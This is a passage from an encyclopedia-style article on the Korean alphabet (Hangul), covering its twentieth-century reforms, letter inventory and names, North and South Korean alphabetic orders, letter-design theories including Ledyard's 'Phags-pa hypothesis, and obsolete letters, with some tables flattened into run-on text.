Ju Si-gyeong, the linguist who had coined the term Hangul to replace Eonmun or "Vulgar Script" in 1912, established the Korean Language Research Society (later renamed the Hangul Society), which further reformed orthography with Standardized System of Hangul in 1933. The principal change was to make the Korean alphabet as morphophonemically practical given the existing letters.[21] A system for transliterating foreign orthographies was published in 1940.
However, Japan banned the Korean language from schools in 1938 as part of a policy of cultural assimilation,[31] and all Korean-language publications were outlawed in 1941.[32]
Further reforms [ edit ]
The definitive modern Korean alphabet orthography was published in 1946, just after Korean independence from Japanese rule. In 1948, North Korea attempted to make the script perfectly morphophonemic through the addition of new letters, and in 1953, Syngman Rhee in South Korea attempted to simplify the orthography by returning to the colonial orthography of 1921, but both reforms were abandoned after only a few years.[21]
Both North Korea and South Korea have used the Korean alphabet or mixed script as their official writing system, with ever-decreasing use of Hanja. Beginning in the 1970s, Hanja began to experience a gradual decline in commercial or unofficial writing in the South due to government intervention, with some South Korean newspapers now only using Hanja as abbreviations or disambiguation of homonyms. There has been widespread debate as to the future of Hanja in South Korea. North Korea instated the Korean alphabet as its exclusive writing system in 1949, and banned the use of Hanja completely.
Contemporary use [ edit ]
An elementary school sign in Baubau written in Latin and Hangul alphabet.
While both North Korea and South Korea claim 99 percent literacy, a 2003 study found that 25 percent of those in the older generation in the South were not completely literate in the Korean alphabet.[33]
The Hunminjeong'eum Society in Seoul attempts to spread the use of the Korean alphabet to unwritten languages of Asia.[34] In 2009, the Korean alphabet was unofficially adopted by the town of Baubau, in Southeast Sulawesi, Indonesia, to write the Cia-Cia language.[35][36][37] A number of Indonesian Cia-Cia speakers who visited Seoul generated large media attention in South Korea, and they were greeted on their arrival by Oh Se-hoon, the mayor of Seoul.[38] It was confirmed in October 2012 that the attempts to disseminate the use of the Korean alphabet in Indonesia failed.[39] Some people continue to use the Korean alphabet at home or co-officially.
Letters [ edit ]
Korean alphabet letters and pronunciation
Letters in the Korean alphabet are called jamo (자모). There are 19 consonants and 21 vowels used in the modern alphabet. They are firstly named in Hunmongjahoe, a hanja textbook written by Choe Sejin.
Consonants [ edit ]
The chart below shows all 19 consonants in South Korean alphabetic order with Revised Romanization equivalents for each letter and pronunciation in IPA (see Korean phonology for more).
Hangul ㄱ ㄲ ㄴ ㄷ ㄸ ㄹ ㅁ ㅂ ㅃ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ Initial Romanization g kk n d tt r m b pp s ss ' j jj ch ḳ ṭ p̣ h IPA /k/ /k͈/ /n/ /t/ /t͈/ /ɾ/ /m/ /p/ /p͈/ /s/ /s͈/ silent /tɕ/ /t͈ɕ/ /tɕʰ/ /kʰ/ /tʰ/ /pʰ/ /h/ Final Romanization k k n t – l m p – t t ng t – t k t p t IPA [k̚] /n/ [t̚] – [l] /m/ [p̚] – [t̚] /ŋ/ [t̚] – [t̚] [k̚] [t̚] [p̚] [t̚]
ㅇ is silent syllable-initially and is used as a placeholder when the syllable starts with a vowel. ㄸ, ㅃ, and ㅉ are never used syllable-finally.
Assimilation: combination between preceding word final letter* (above row) pronounced as + following word initial letter** (below rows) pronounced as: (e.g. 강루 - kang+ru = kang+ nu , 있어 - iss+eo = is-s eo , -합니다 - -hap+ni+da = - ham -ni-da) Preceding word final letter* ㄱ (k) ㄲ (kk) ㄴ (n) ㄷ (d) ㄸ (tt) ㄹ (l) ㅁ (m) ㅂ (p) ㅃ (pp) ㅅ (s) ㅆ (ss/t) ㅇ (ng) ㅈ (j) ㅉ (jj) ㅊ (ch) ㅋ (ḳ) ㅌ (ṭ) ㅍ (p̣) ㅎ (h) Following word Initial letter** ㅇ(ng) g kk+h n t - r m p - s ss ng+h t+ch - t+ch k+h t+ch p+h h ㅎ(h) k kk+h n+h t - r/ l+h m+h p - t - ng+h t+ch - t+ch k t p - ㄱ(k) k+k n+g t+g - l+g m+g b+g - t+g - ng+g t+g - t+g t+g p+g h+k ㄴ(n) ng n+n - l+l m+n m+n - t+n n+t ng+n t+n - t+n t+n p+n h+n ㄷ(d) k+d n+d t+t - l+d m+d p+d - t+t t+t ng+d t+t - t+t k+d t+t p+d h+t ㄹ(r) g+n l+l - l+l m+n m+n - - n - r ㅁ(m) g+m n+m t+m - l+m m+m m+m - t+m - ng+m t+m - t+m k+d t+m p+m h+m ㅂ(b) g+b - p+p - t+b - - ㅅ (s) ss+s t+ch ㅈ(j) t+ch
Consonants in the Korean alphabet can be combined into 11 consonant clusters, which always appear in the final position in a syllable. They are: ㄳ, ㄵ, ㄶ, ㄺ, ㄻ, ㄼ, ㄽ, ㄾ, ㄿ, ㅀ, and ㅄ.
Consonant cluster combinations (only used in solely or preceding word final letter) (e.g. [solely] 닭 da g ; [preceding word final letter] 없다 - eo p -ta, 앉아 an-ja) Preceding word final letter* ㄳ (gs) ㄵ (nj) ㄶ (nh) ㄺ (lg) ㄻ (lm) ㄼ (lb) ㄽ (ls) ㄾ (lṭ) ㄿ (lp̣) ㅀ (lh) ㅄ (ps) (solely pronounced) g nj nh g m b s ṭ p̣ h p Following word Initial letter** ㅇ(ng) g+s n+j l+h l+g l+m l+b l+s l+ṭ l+p̣ l+h p+s ㄷ(d) g+t nj+d/ nt+ch n+t g+d m+d b+d l+t l+ṭ p̣+d l+t p+t
Vowels [ edit ]
The chart below shows the 21 vowels used in the modern Korean alphabet in South Korean alphabetic order with Revised Romanization equivalents for each letter and pronunciation in IPA (see Korean phonology for more).
Hangul ㅏ ㅐ ㅑ ㅒ ㅓ ㅔ ㅕ ㅖ ㅗ ㅘ ㅙ ㅚ ㅛ ㅜ ㅝ ㅞ ㅟ ㅠ ㅡ ㅢ ㅣ Revised Romanization a ae ya yae eo e yeo ye o wa wae oe yo u wo we wi yu eu ui i IPA /a/ /ɛ/ /ja/ /jɛ/ /ʌ/ /e/ /jʌ/ /je/ /o/ /wa/ /wɛ/ /ø/ ~ [we] /jo/ /u/ /wʌ/ /we/ /y/ ~ [ɥi] /ju/ /ɯ/ /ɰi/ /i/
Alphabetic order [ edit ]
Alphabetic order in the Korean alphabet is called the ganada order, (가나다 순) after the first three letters of the alphabet. The alphabetical order of the Korean alphabet does not mix consonants and vowels. Rather, first are velar consonants, then coronals, labials, sibilants, etc. The vowels come after the consonants.
Historical orders [ edit ]
The order from the Hunminjeong'eum in 1446 was:
In 1527, Choe Sejin reorganized the alphabet in Hunmongjahoe:
This is the basis of the modern alphabetic orders. It was before the development of the Korean tense consonants and the double letters that represent them, and before the conflation of the letters ㅇ (') and ㆁ (ng). Thus, when the North Korean and South Korean governments implemented full use of the Korean alphabet, they ordered these letters differently, with North Korea, placing new letters at the end of the alphabet and South Korea grouping similar letters together.
North Korean order [ edit ]
The new, double, letters are placed at the end of the consonants, just before the ' ㅇ, so as not to alter the traditional order of the rest of the alphabet.
All digraphs and trigraphs, including the old diphthongs ㅐ and ㅔ, are placed after the simple vowels, again maintaining Choe's alphabetic order.
The order of the final letters is:
(none) ㄱ ㄳ ㄴ ㄵ ㄶ ㄷ ㄹ ㄺ ㄻ ㄼ ㄽ ㄾ ㄿ ㅀ ㅁ ㅂ ㅄ ㅅ ㅇ ㅈ ㅊ ㅋ ㅌ ㅍ ㅎ ㄲ ㅆ
Unlike when it is initial, this ㅇ is pronounced, as the nasal ㅇ ng, which occurs only as a final in the modern language. The double letters are placed to the very end, as in the initial order, but the combined consonants are ordered immediately after their first element.
South Korean order [ edit ]
In the Southern order, double letters are placed immediately after their single counterparts:
The modern monophthongal vowels come first, with the derived forms interspersed according to their form: i is added first, then iotized, then iotized with added i. Diphthongs beginning with w are ordered according to their spelling, as ㅗ or ㅜ plus a second vowel, not as separate digraphs.
The order of the final letters (받침) is:
(none) ㄱ ㄲ ㄳ ㄴ ㄵ ㄶ ㄷ ㄹ ㄺ ㄻ ㄼ ㄽ ㄾ ㄿ ㅀ ㅁ ㅂ ㅄ ㅅ ㅆ ㅇ ㅈ ㅊ ㅋ ㅌ ㅍ ㅎ
("None" means there is no final letter.)
Every syllable begins with a consonant (or the silent ㅇ) that is followed by a vowel (e.g. ㄷ + ㅏ = 다). Some syllables such as "달" and "닭" have a final consonant or final consonant cluster (받침). Then, 399 combinations are possible for "two-letter syllables" and 10,773 possible combinations for syllables with more than two "letters" (27 possible final endings), for a total of 11,172 possible combinations of Korean alphabet "letters" to form syllables.
Letter names [ edit ]
Korean consonants names of the Korean consonant letters (South Korean) Korean vowels names of the Korean vowel letters Problems playing these files? See media help.
Letters in the Korean alphabet were named by Korean linguist Choe Sejin in 1527. South Korea uses Choe's traditional names, most of which follow the format of letter + i + eu + letter. However, as the syllables 윽 euk, 읃 eut, and 읏 eut did not occur in the language, Choe gave those letters the modified names 기역 giyeok, 디귿 digeut, and 시옷 siot, using native syllables.
Originally, Choe gave ㅈ, ㅊ, ㅋ, ㅌ, ㅍ, and ㅎ the irregular one-syllable names of ji, chi, ḳi, ṭi, p̣i, and hi, because they should not be used as final consonants, as specified in Hunminjeong'eum. However, after establishment of the new orthography in 1933, which let all consonants be used as finals, the names changed to the present forms.
North Korea regularized Choe's original names when it made the Korean alphabet its official orthography.
In North Korea [ edit ]
The chart below shows names used in North Korea for consonants in the Korean alphabet. The letters are arranged in North Korean alphabetic order, and the letter names are romanised with the McCune-Reischauer system, which is widely used in North Korea. The tense consonants are described with the word 된 toen meaning "hard".
Consonant ㄱ ㄴ ㄷ ㄹ ㅁ ㅂ ㅅ ㅈ ㅊ ㅋ ㅌ ㅍ ㅎ ㄲ ㄸ ㅃ ㅆ ㅇ ㅉ Name 기윽 니은 디읃 리을 미음 비읍 시읏 지읒 치읓 키읔 티읕 피읖 히읗 된기윽 된디읃 된비읍 된시읏 이응 된지읒 McCR giŭk niŭn diŭt riŭl miŭm piŭp siŭt jiŭt chiŭt ḳiŭk ṭiŭt p̣iŭp hiŭh toen'giŭk toendiŭt toenbiŭp toensiŭt 'iŭng toenjiŭt
In North Korea, an alternative way to refer to a consonant is letter + ŭ (ㅡ), for example, gŭ (그) for the letter ㄱ, and ssŭ (쓰) for the letter ㅆ.
As in South Korea, the names of vowels in the Korean alphabet are the same as the sound of each vowel.
In South Korea [ edit ]
The chart below shows names used in South Korea for consonants of the Korean alphabet. The letters are arranged in the South Korean alphabetic order, and the letter names are romanised in the Revised Romanization system, which is the official romanization system of South Korea. The tense consonants are described with the word 쌍 ssang meaning "double".
Consonant ㄱ ㄲ ㄴ ㄷ ㄸ ㄹ ㅁ ㅂ ㅃ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ Name (Hangul) 기역 쌍기역 니은 디귿 쌍디귿 리을 미음 비읍 쌍비읍 시옷 쌍시옷 이응 지읒 쌍지읒 치읓 키읔 티읕 피읖 히읗 Name (English) giyeok ssangiyeok nieun digeut ssangdigeut rieul mieum bieup ssangbieup siot ssangsiot 'ieung jieut ssangjieut chieut ḳieuk ṭieut p̣ieup hieuh
Stroke order [ edit ]
Letters in the Korean alphabet have adopted certain rules of Chinese calligraphy, although ㅇ and ㅎ use a circle, which is not used in printed Chinese characters.
ㄱ (giyeok 기역)
ㄴ (nieun 니은)
ㄷ (digeut 디귿)
ㄹ (rieul 리을)
ㅁ (mieum 미음)
ㅂ (bieup 비읍)
ㅅ (sieut 시옷)
ㅇ ('ieung 이응)
ㅈ (jieut 지읒)
ㅊ (chieut 치읓)
ㅋ (ḳieuk 키읔)
ㅌ (ṭieut 티읕)
ㅍ (p̣ieup 피읖)
ㅎ (hieuh 히읗)
ㅏ (a)
ㅐ (ae)
ㅓ (eo)
ㅔ (e)
ㅗ (o)
ㅜ (u)
ㅡ (eu)
For the iotized vowels, which are not shown, the short stroke is simply doubled.
Letter design [ edit ]
Scripts typically transcribe languages at the level of morphemes (logographic scripts like Hanja), of syllables (syllabaries like kana), of segments (alphabetic scripts like the Latin script used to write English and many other languages), or, on occasion, of distinctive features. The Korean alphabet incorporates aspects of the latter three, grouping sounds into syllables, using distinct symbols for segments, and in some cases using distinct strokes to indicate distinctive features such as place of articulation (labial, coronal, velar, or glottal) and manner of articulation (plosive, nasal, sibilant, aspiration) for consonants, and iotization (a preceding i-sound), harmonic class and i-mutation for vowels.
For instance, the consonant ㅌ ṭ [tʰ] is composed of three strokes, each one meaningful: the top stroke indicates ㅌ is a plosive, like ㆆ ʔ, ㄱ g, ㄷ d, ㅈ j, which have the same stroke (the last is an affricate, a plosive–fricative sequence); the middle stroke indicates that ㅌ is aspirated, like ㅎ h, ㅋ ḳ, ㅊ ch, which also have this stroke; and the bottom stroke indicates that ㅌ is alveolar, like ㄴ n, ㄷ d, and ㄹ l. (This element is said to represent the shape of the tongue when pronouncing coronal consonants, though this is not certain.) Two consonants, ㆁ and ㅱ, have dual pronunciations, and appear to be composed of two elements corresponding to these two pronunciations: [ŋ]~silence for ㆁ and [m]~[w] for obsolete ㅱ.
With vowel letters, a short stroke connected to the main line of the letter indicates that this is one of the vowels that can be iotized; this stroke is then doubled when the vowel is iotized. The position of the stroke indicates which harmonic class the vowel belongs to, "light" (top or right) or "dark" (bottom or left). In the modern alphabet, an additional vertical stroke indicates i-mutation, deriving ㅐ [ɛ], ㅚ [ø], and ㅟ [y] from ㅏ [a], ㅗ [o], and ㅜ [u]. However, this is not part of the intentional design of the script, but rather a natural development from what were originally diphthongs ending in the vowel ㅣ [i]. Indeed, in many Korean dialects,[citation needed] including the standard dialect of Seoul, some of these may still be diphthongs. Note: ㅔ [e] as a morpheme is ㅓ combined with ㅣ as a vertical stroke. As a phoneme, its sound is not by i-mutation of ㅓ [ʌ].
Some linguists have praised the Korean alphabet for its featural design; beyond the fact that the shapes of the letters are related to the features of the sounds they represent, the Korean alphabet also attracts approval for the fact that vowels are made from vertical or horizontal lines so that they are easily distinguishable from consonants.
Although the design of the script may be featural, for all practical purposes it behaves as an alphabet. The letter ㅌ is not read as three letters alveolar aspirated plosive, for instance, but as a single consonant t. Likewise, the former diphthong ㅔ is read as a single vowel e.
Beside the letters, the Korean alphabet originally employed diacritic marks to indicate pitch accent. A syllable with a high pitch (거성) was marked with a dot (ᅟᅠ〮) to the left of it (when writing vertically); a syllable with a rising pitch (상성) was marked with a double dot, like a colon (ᅟᅠ〯). These are no longer used, as modern Seoul Korean has lost tonality. Vowel length has also been neutralized in Modern Korean,[40] and is no longer written.
Consonant design [ edit ]
The consonant letters fall into five homorganic groups, each with a basic shape, and one or more letters derived from this shape by means of additional strokes. In the Hunmin Jeong-eum Haerye account, the basic shapes iconically represent the articulations the tongue, palate, teeth, and throat take when making these sounds.
Simple Aspirated Tense velar ㄱ ㅋ ㄲ fricatives ㅅ ㅆ palatal ㅈ ㅊ ㅉ coronal ㄷ ㅌ ㄸ bilabial ㅂ ㅍ ㅃ
The Korean names for the groups are taken from Chinese phonetics:
Velar consonants ( 아음, 牙音 a'eum "molar sounds") ㄱ g [k] , ㅋ ḳ [kʰ] Basic shape: ㄱ is a side view of the back of the tongue raised toward the velum (soft palate). (For illustration, access the external link below.) ㅋ is derived from ㄱ with a stroke for the burst of aspiration.
"molar sounds") Sibilant consonants (fricative or palatal) ( 치음, 齒音 chieum "dental sounds"): ㅅ s [s] , ㅈ j [tɕ] , ㅊ ch [tɕʰ] Basic shape: ㅅ was originally shaped like a wedge ∧, without the serif on top. It represents a side view of the teeth. The line topping ㅈ represents firm contact with the roof of the mouth. The stroke topping ㅊ represents an additional burst of aspiration.
"dental sounds"): Coronal consonants ( 설음, 舌音 seoreum "lingual sounds"): ㄴ n [n] , ㄷ d [t] , ㅌ ṭ [tʰ] , ㄹ r [ɾ, l] Basic shape: ㄴ is a side view of the tip of the tongue raised toward the alveolar ridge (gum ridge). The letters derived from ㄴ are pronounced with the same basic articulation. The line topping ㄷ represents firm contact with the roof of the mouth. The middle stroke of ㅌ represents the burst of aspiration. The top of ㄹ represents a flap of the tongue.
"lingual sounds"): Bilabial consonants ( 순음, 唇音 suneum "labial sounds"): ㅁ m [m] , ㅂ b [p] , ㅍ p̣ [pʰ] Basic shape: ㅁ represents the outline of the lips in contact with each other. The top of ㅂ represents the release burst of the b . The top stroke of ㅍ is for the burst of aspiration.
"labial sounds"): Dorsal consonants ( 후음, 喉音 hueum "throat sounds"): ㅇ '/ ng [ʔ, ŋ] , ㅎ h [h] Basic shape: ㅇ is an outline of the throat. Originally ㅇ was two letters, a simple circle for silence (null consonant), and a circle topped by a vertical line, ㆁ , for the nasal ng . A now obsolete letter, ㆆ , represented a glottal stop, which is pronounced in the throat and had closure represented by the top line, like ㄱㄷㅈ . Derived from ㆆ is ㅎ , in which the extra stroke represents a burst of aspiration.
"throat sounds"):
Vowel design [ edit ]
A diagram showing the derivation of vowels in the Korean alphabet.
Vowel letters are based on three elements:
A horizontal line representing the flat Earth, the essence of yin .
. A point for the Sun in the heavens, the essence of yang . (This becomes a short stroke when written with a brush.)
. (This becomes a short stroke when written with a brush.) A vertical line for the upright Human, the neutral mediator between the Heaven and Earth.
Short strokes (dots in the earliest documents) were added to these three basic elements to derive the vowel letter:
Simple vowels [ edit ]
Horizontal letters: these are mid-high back vowels. bright ㅗ o dark ㅜ u neutral ㅡ eu ( ŭ )
Vertical letters: these were once low vowels. bright ㅏ a dark ㅓ eo ( ŏ ) neutral ㅣ i
Compound vowels [ edit ]
The Korean alphabet does not have a letter for w sound. Since an o or u before an a or eo became a [w] sound, and [w] occurred nowhere else, [w] could always be analyzed as a phonemic o or u, and no letter for [w] was needed. However, vowel harmony is observed: "dark" ㅜ u with "dark" ㅓ eo for ㅝ wo; "bright" ㅗ o with "bright" ㅏ a for ㅘ wa:
ㅘ wa = ㅗ o + ㅏ a
= + ㅝ wo = ㅜ u + ㅓ eo
= + ㅙ wae = ㅗ o + ㅐ ae
= + ㅞ we = ㅜ u + ㅔ e
The compound vowels ending in ㅣ i were originally diphthongs. However, several have since evolved into pure vowels:
ㅐ ae = ㅏ a + ㅣ i (pronounced [ɛ] )
= + (pronounced ) ㅔ e = ㅓ eo + ㅣ i (pronounced [e] )
= + (pronounced ) ㅙ wae = ㅘ wa + ㅣ i
= + ㅚ oe = ㅗ o + ㅣ i (formerly pronounced [ø] , see Korean phonology)
= + (formerly pronounced , see Korean phonology) ㅞ we = ㅝ wo + ㅣ i
= + ㅟ wi = ㅜ u + ㅣ i (formerly pronounced [y] , see Korean phonology)
= + (formerly pronounced , see Korean phonology) ㅢ ui = ㅡ eu + ㅣ i
Iotized vowels [ edit ]
There is no letter for y. Instead, this sound is indicated by doubling the stroke attached to the baseline of the vowel letter. Of the seven basic vowels, four could be preceded by a y sound, and these four were written as a dot next to a line. (Through the influence of Chinese calligraphy, the dots soon became connected to the line: ㅓㅏㅜㅗ.) A preceding y sound, called "iotization", was indicated by doubling this dot: ㅕㅑㅠㅛ yeo, ya, yu, yo . The three vowels that could not be iotized were written with a single stroke: ㅡㆍㅣ eu, (arae a), i .
Simple Iotized ㅏ ㅑ ㅓ ㅕ ㅗ ㅛ ㅜ ㅠ ㅡ ㅣ
The simple iotized vowels are:
ㅑ ya from ㅏ a
from ㅕ yeo from ㅓ eo
from ㅛ yo from ㅗ o
from ㅠ yu from ㅜ u
There are also two iotized diphthongs:
ㅒ yae from ㅐ ae
from ㅖ ye from ㅔ e
The Korean language of the 15th century had vowel harmony to a greater extent than it does today. Vowels in grammatical morphemes changed according to their environment, falling into groups that "harmonized" with each other. This affected the morphology of the language, and Korean phonology described it in terms of yin and yang: If a root word had yang ('bright') vowels, then most suffixes attached to it also had to have yang vowels; conversely, if the root had yin ('dark') vowels, the suffixes had to be yin as well. There was a third harmonic group called "mediating" ('neutral' in Western terminology) that could coexist with either yin or yang vowels.
The Korean neutral vowel was ㅣ i. The yin vowels were ㅡㅜㅓ eu, u, eo; the dots are in the yin directions of 'down' and 'left'. The yang vowels were ㆍㅗㅏ ə, o, a, with the dots in the yang directions of 'up' and 'right'. The Hunmin Jeong-eum Haerye states that the shapes of the non-dotted letters ㅡㆍㅣ were chosen to represent the concepts of yin, yang, and mediation: Earth, Heaven, and Human. (The letter ㆍ ə is now obsolete except in the Jeju language.)
The third parameter in designing the vowel letters was choosing ㅡ as the graphic base of ㅜ and ㅗ, and ㅣ as the graphic base of ㅓ and ㅏ. A full understanding of what these horizontal and vertical groups had in common would require knowing the exact sound values these vowels had in the 15th century.
The uncertainty is primarily with the three letters ㆍㅓㅏ. Some linguists reconstruct these as *a, *ɤ, *e, respectively; others as *ə, *e, *a. A third reconstruction is to make them all middle vowels as *ʌ, *ɤ, *a.[41] With the third reconstruction, Middle Korean vowels actually line up in a vowel harmony pattern, albeit with only one front vowel and four middle vowels:
ㅣ *i ㅡ *ɯ ㅜ *u ㅓ *ɤ ㆍ *ʌ ㅗ *o ㅏ *a
However, the horizontal letters ㅡㅜㅗ eu, u, o do all appear to have been mid to high back vowels, [*ɯ, *u, *o], and thus to have formed a coherent group phonetically in every reconstruction.
Traditional account [ edit ]
The generally accepted account[nb 1][42] on the design of the letters is that the vowels are derived from various combinations of the following three components: ㆍ ㅡ ㅣ. Here, ㆍ symbolically stands for the (sun in) heaven, ㅡ stands for the (flat) earth, and ㅣ stands for an (upright) human. The original sequence of the Korean vowels, as stated in Hunminjeongeum, listed these three vowels first, followed by various combinations. Thus, the original order of the vowels was: ㆍ ㅡ ㅣ ㅗ ㅏ ㅜ ㅓ ㅛ ㅑ ㅠ ㅕ. Note that two positive vowels (ㅗ ㅏ) including one ㆍ are followed by two negative vowels including one ㆍ, then by two positive vowels each including two of ㆍ, and then by two negative vowels each including two of ㆍ.
The same theory provides the most simple explanation of the shapes of the consonants as an approximation of the shapes of the most representative organ needed to form that sound. The original order of the consonants in Hunminjeong'eum was: ㄱ ㅋ ㆁ ㄷ ㅌ ㄴ ㅂ ㅍ ㅁ ㅈ ㅊ ㅅ ㆆ ㅎ ㅇ ㄹ ㅿ.
ㄱ representing the /k/ sound geometrically describes a tongue just before the moment of pronunciation as the tongue blocks the passage of air.
ㅋ representing the /kʰ/ sound is derived from ㄱ by adding another stroke.
ㆁ representing the /ŋ/ sound may have been derived from ㅇ by addition of a stroke.
ㄷ representing the /t/ sound is derived from ㄴ by addition of a stroke.
ㅌ representing the /tʰ/ sound is derived from ㄷ by adding another stroke.
ㄴ representing the /n/ sound geometrically describes a tongue making contact with an upper palate just before making the "n" sound.
ㅂ representing the /p/ sound is derived from ㅁ by adding strokes.
ㅍ representing the /pʰ/ sound is a variant of ㅂ, which is obtained by rotating 90 degrees and extending the horizontal strokes.
ㅁ representing the /m/ sound geometrically describes a closed mouth before opening the lips.
ㅈ representing the /tɕ/ sound is derived from the shape of ㅅ by adding strokes.
ㅊ representing the /tɕʰ/ sound is derived from ㅈ by adding another stroke.
ㅅ representing the /s/ sound geometrically describes a near contact between the tongue and the teeth.[citation needed]
ㆆ representing the /ʔ/ sound geometrically describes an open throat with a bar to indicate that there is an aspiration.
ㅎ representing the /h/ sound is derived from ㆆ with the extra stroke representing a stronger flow of the aspiration.
ㅇ representing the absence of a consonant geometrically describes an open mouth, which necessarily accompanies the following vowel.
ㄹ representing the /ɾ/ and /l/ sounds geometrically describes a backward-bending tongue.
ㅿ representing a weak /z/ sound is also derived from the shape of the teeth, but has a different origin than ㅅ[clarification needed] and is not derived from ㅅ by addition of a stroke.
Ledyard's theory of consonant design [ edit ]
Sejong Daewang 세종대왕 and illustrates the forms of the letters originally promulgated by Sejong. Note the dots on the vowels, the geometric symmetry of s and j in the first two syllables, the asymmetrical lip at the top-left of the d in the third, and the distinction between initial and final ieung in the last. A close-up of the inscription on the statue of King Sejong above. It readsand illustrates the forms of the letters originally promulgated by Sejong. Note the dots on the vowels, the geometric symmetry ofandin the first two syllables, the asymmetrical lip at the top-left of thein the third, and the distinction between initial and finalin the last.
[k, t, p, s, l] , and their supposed Korean derivatives [k, t, p, ts, l] . Note the lip on both 'Phags-pa [t] and the Korean alphabet ㄷ .
(Bottom) Derivation of 'Phags-pa w, v, f from variants of the letter [h] (left) plus a subscript [w] , and analogous composition of the Korean alphabet w, v, f from variants of the basic letter [p] plus a circle. (Top) 'Phags-pa letters, and their supposed Korean derivatives. Note the lip on both 'Phags-paand the Korean alphabet(Bottom) Derivation of 'Phags-pafrom variants of the letter(left) plus a subscript, and analogous composition of the Korean alphabet
Although the Hunminjeong'eum Haerye explains the design of the consonantal letters in terms of articulatory phonetics, as a purely innovative creation, several theories suggest which external sources may have inspired or influenced King Sejong's creation. Professor Gari Ledyard of Columbia University studied possible connections between Hangul and the Mongol 'Phags-pa script of the Yuan dynasty. He believed that the role of 'Phags-pa script in the creation of the Korean alphabet was quite limited:
It should be clear to any reader that in the total picture, that ['Phags-pa script's] role was quite limited ... Nothing would disturb me more, after this study is published, than to discover in a work on the history of writing a statement like the following: "According to recent investigations, the Korean alphabet was derived from the Mongol's phags-pa script."[43] An affine theory states that the consonants are derived from the shape of the speaker's lips and tongue during the pronunciation of the consonants (initially, at least), but this would appear somewhat to strain credulity.[44]
Ledyard posits that five of the Korean letters have shapes inspired by 'Phags-pa; a sixth basic letter, the null initial ㅇ, was invented by Sejong. The rest of the letters were derived internally from these six, essentially as described in the Hunmin Jeong-eum Haerye. However, the five borrowed consonants were not the graphically simplest letters considered basic by the Hunmin Jeong-eum Haerye, but instead the consonants basic to Chinese phonology: ㄱ, ㄷ, ㅂ, ㅈ, and ㄹ.
The Hunmin Jeong-eum states that King Sejong adapted the 古篆 (gojeon, "Gǔ Seal Script") in creating the Korean alphabet. The 古篆 has never been identified. The primary meaning of 古 gǔ is "old" ("Old Seal Script"), frustrating philologists because the Korean alphabet bears no functional similarity to Chinese 篆字 zhuànzì seal scripts. However, Ledyard believes 古 gǔ may be a pun on 蒙古 Měnggǔ "Mongol", and that 古篆 is an abbreviation of 蒙古篆字 "Mongol Seal Script", that is, the formal variant of the 'Phags-pa alphabet written to look like the Chinese seal script. There were 'Phags-pa manuscripts in the Korean palace library, including some in the seal-script form, and several of Sejong's ministers knew the script well.
If this was the case, Sejong's evasion on the Mongol connection can be understood in light of Korea's relationship with Ming China after the fall of the Mongol Yuan dynasty, and of the literati's contempt for the Mongols as "barbarians".
According to Ledyard, the five borrowed letters were graphically simplified, which allowed for consonant clusters and left room to add a stroke to derive the aspirate plosives, ㅋㅌㅍㅊ. But in contrast to the traditional account, the non-plosives (ㆁ ㄴ ㅁ ㅅ) were derived by removing the top of the basic letters. He points out that while it is easy to derive ㅁ from ㅂ by removing the top, it is not clear how to derive ㅂ from ㅁ in the traditional account, since the shape of ㅂ is not analogous to those of the other plosives.
The explanation of the letter ng also differs from the traditional account. Many Chinese words began with ng, but by King Sejong's day, initial ng was either silent or pronounced [ŋ] in China, and was silent when these words were borrowed into Korean. Also, the expected shape of ng (the short vertical line left by removing the top stroke of ㄱ) would have looked almost identical to the vowel ㅣ [i]. Sejong's solution solved both problems: The vertical stroke left from ㄱ was added to the null symbol ㅇ to create ㆁ (a circle with a vertical line on top), iconically capturing both the pronunciation [ŋ] in the middle or end of a word, and the usual silence at the beginning. (The graphic distinction between null ㅇ and ng ㆁ was eventually lost.)
Another letter composed of two elements to represent two regional pronunciations was ㅱ, which transcribed the Chinese initial 微. This represented either m or w in various Chinese dialects, and was composed of ㅁ [m] plus ㅇ (from 'Phags-pa [w]). In 'Phags-pa, a loop under a letter represented w after vowels, and Ledyard hypothesized that this became the loop at the bottom of ㅱ. In 'Phags-pa the Chinese initial 微 is also transcribed as a compound with w, but in its case the w is placed under an h. Actually, the Chinese consonant series 微非敷 w, v, f is transcribed in 'Phags-pa by the addition of a w under three graphic variants of the letter for h, and the Korean alphabet parallels this convention by adding the w loop to the labial series ㅁㅂㅍ m, b, p, producing now-obsolete ㅱㅸㆄ w, v, f. (Phonetic values in Korean are uncertain, as these consonants were only used to transcribe Chinese.)
As a final piece of evidence, Ledyard notes that most of the borrowed Korean letters were simple geometric shapes, at least originally, but that ㄷ d [t] always had a small lip protruding from the upper left corner, just as the 'Phags-pa d [t] did. This lip can be traced back to the Tibetan letter d.
Obsolete letters [ edit ]
Hankido, a martial art, using the obsolete vowel arae-a (top) , a martial art, using the obsolete vowel(top)
Numerous obsolete Korean letters and sequences are no longer used in Korean. Some of these letters were only ever used to represent the sounds of Chinese rime tables. Some of the Korean sounds represented by these obsolete letters still exist in some dialects.
13 obsolete consonants: ᄛ, ㅱ, ㅸ, ᄼ, ᄾ, ㅿ, ㆁ (as distinct from ㅇ ), ᅎ, ᅐ, ᅔ, ᅕ, ㆄ, ㆆ
(as distinct from ), 10 obsolete double consonants: ㅥ, ᄙ, ㅹ, ᄽ, ᄿ, ᅇ, ᇮ, ᅏ, ᅑ, ㆅ
66 obsolete clusters of two consonants: ᇃ, ᄓ, ㅦ, ᄖ, ㅧ, ㅨ, ᇉ, ᄗ, ᇋ, ᄘ, ㅪ, ㅬ, ᇘ, ㅭ, ᇚ, ᇛ, ㅮ, ㅯ, ㅰ, ᇠ, ᇡ, ㅲ, ᄟ, ㅳ, ᇣ, ㅶ, ᄨ, ㅷ, ᄪ, ᇥ, ㅺ, ㅻ, ㅼ, ᄰ, ᄱ, ㅽ, ᄵ, ㅾ, ᄷ, ᄸ, ᄹ, ᄺ, ᄻ, ᅁ, ᅂ, ᅃ, ᅄ, ᅅ, ᅆ, ᅈ, ᅉ, ᅊ, ᅋ, ᇬ, ᇭ, ㆂ, ㆃ, ᇯ, ᅍ, ᅒ, ᅓ, ᅖ, ᇵ, ᇶ, ᇷ, ᇸ
17 obsolete clusters of three consonants: ᇄ, ㅩ, ᇏ, ᇑ, ᇒ, ㅫ, ᇔ, ᇕ, ᇖ, ᇞ, ㅴ, ㅵ, ᄤ, ᄥ, ᄦ, ᄳ, ᄴ
1 obsolete vowel: ㆍ arae-a
